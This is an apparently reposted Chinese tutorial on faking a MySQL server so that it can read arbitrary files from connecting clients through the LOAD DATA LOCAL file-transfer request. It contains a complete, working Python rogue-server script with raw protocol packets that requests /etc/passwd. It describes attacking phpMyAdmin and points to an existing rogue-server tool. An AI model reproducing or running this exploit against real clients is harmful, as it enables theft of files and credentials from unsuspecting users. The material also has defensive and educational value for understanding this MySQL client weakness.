当前位置:Gxlcms > 数据库问题 > 伪造mysql服务端实现任意读取

伪造mysql服务端实现任意读取

时间:2021-07-01 10:21:17 帮助过:18人阅读

根据官方文档,客户端读取哪个文件是由服务端决定的,也就是说服务端发回哪个文件名,客户端就会读取哪个文件。

而对于这个请求,mysql并没有强制限制必须先由客户端发起load data,一个伪造的服务端可以在任何时候回复一个 file-transfer 请求,比如说最开始客户端请求初始化查询的时候。

  这时的过程大概是:

客户端:hi,现在我要查询一下版本信息
服务端:好的,把/etc/passwd文件发过来吧
客户端:好的,这是我的/etc/passwd文件

0x04 服务端伪造

  主要的步骤就是在本地3306端口开启一个socket,接收到连接请求后,按照顺序发送greeting,认证成功和读取文件要求。

  这里我没有去分析数据包的内容,直接使用提取wireshark抓到的包。

python版:

#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info(‘Conn from: %r‘, address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

效果:

技术分享图片

由于我们直接发送认证成功,所以客户端用户名密码可以随便写。

在phpMyAdmin里开启远程连接(将phpMyAdmin/libraries/config.default.php的$cfg[‘AllowArbitraryServer‘]改为true):

技术分享图片

成功:

技术分享图片

这是大佬写的一个php版(同样在本地和phpmyadmin里都成功):

技术分享图片View Code

ps:

大佬的原脚本:https://github.com/Gifts/Rogue-MySql-Server  (只在phpMyAdmin里连接成功)

这里有个要注意的地方:

技术分享图片

按照大佬的说法,Capabilities这两个字节,\xf7 则表示不支持 SSL,如果不这么写会因为ssl的问题无法连接。

0x05 参考

https://blog.csdn.net/ASzhiwei/article/details/81914381

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

https://www.freebuf.com/vuls/188910.html

https://lightless.me/archives/read-mysql-client-file.html

 

伪造mysql服务端实现任意读取

标签:name   现在   发送   技术分享   脚本   src   读取   uri   str   

人气教程排行